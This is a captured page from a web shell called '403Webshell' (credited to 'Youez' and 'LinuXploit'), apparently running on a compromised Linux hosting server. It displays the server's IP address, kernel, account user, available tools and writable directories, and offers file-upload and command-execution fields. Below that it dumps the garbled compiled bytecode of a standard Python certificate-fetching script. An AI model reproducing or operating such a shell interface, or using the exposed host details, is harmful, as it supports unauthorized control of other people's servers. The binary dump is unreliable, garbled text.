403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/get-remote-certificate.cpython-36.pyc
3

x2_�
�@s�ddlZddlZddlZddlZdd�Zedkr�eej�dkr^ejj	dejd�ej
d�x<ejdd�D]*Zejd�\Z
Zejjj	ee
ee���qnWej
d�dS)	�Ncs�dd��d
�fdd�	}tjjd�rptj�}t|d�}|jd�|j�z�d|||f�\}}Wdtj	|�Xn�d	||f�\}}|d
kr�t
d||f��||�}|s�td||f��|S)NcSs>ddlm}m}m}||||dd�}|j�}|jj�}||fS)Nr)�Popen�PIPE�STDOUTT)�stdout�stderr�shell)�
subprocessrrr�waitr�read)�cmdrrr�proc�status�output�r�I/opt/alt/python36/lib64/python3.6/Tools/scripts/get-remote-certificate.py�subprocs

z)fetch_server_certificate.<locals>.subprocc	s�tjd|tjtjB�}|sdStj�}t|d�}|j|jd�d�|j	�z`|pXtj�}�d||f�\}}|dkr�t
d||f��t|d�}|j�}|j	�tj
|�|Stj
|�XdS)	NsC^([-]+BEGIN CERTIFICATE[-]+[\r]*\n.*[\r]*^[-]+END CERTIFICATE[-]+)$�wb��
zopenssl x509 -in "%s" -out "%s"rz1OpenSSL x509 failed with status %s and output: %r�rb)�re�search�	MULTILINE�DOTALL�tempfile�mktemp�open�write�group�close�RuntimeErrorr
�os�unlink)	Zcertfile_contentsZoutfile�mZtn�fpZtn2r
r�data)rrr�strip_to_x509_certs*


z4fetch_server_certificate.<locals>.strip_to_x509_cert�win�wzquit
z3openssl s_client -connect "%s:%s" -showcerts < "%s"z8openssl s_client -connect "%s:%s" -showcerts < /dev/nullrz4OpenSSL connect failed with status %s and output: %rz.Invalid response received from server at %s:%s)N)�sys�platform�
startswithrrrrrr!r"r �
ValueError)�host�portr&Ztfiler$r
rZcerttextr)rr�fetch_server_certificates.

r/�__main__�z:Usage:  %s HOSTNAME:PORTNUMBER [, HOSTNAME:PORTNUMBER...]
r�:)rr!r)rr/�__name__�len�argvrr�exit�arg�splitr-r.r�buffer�intrrrr�<module>	s<


Youez - 2016 - github.com/yon3zu
LinuXploit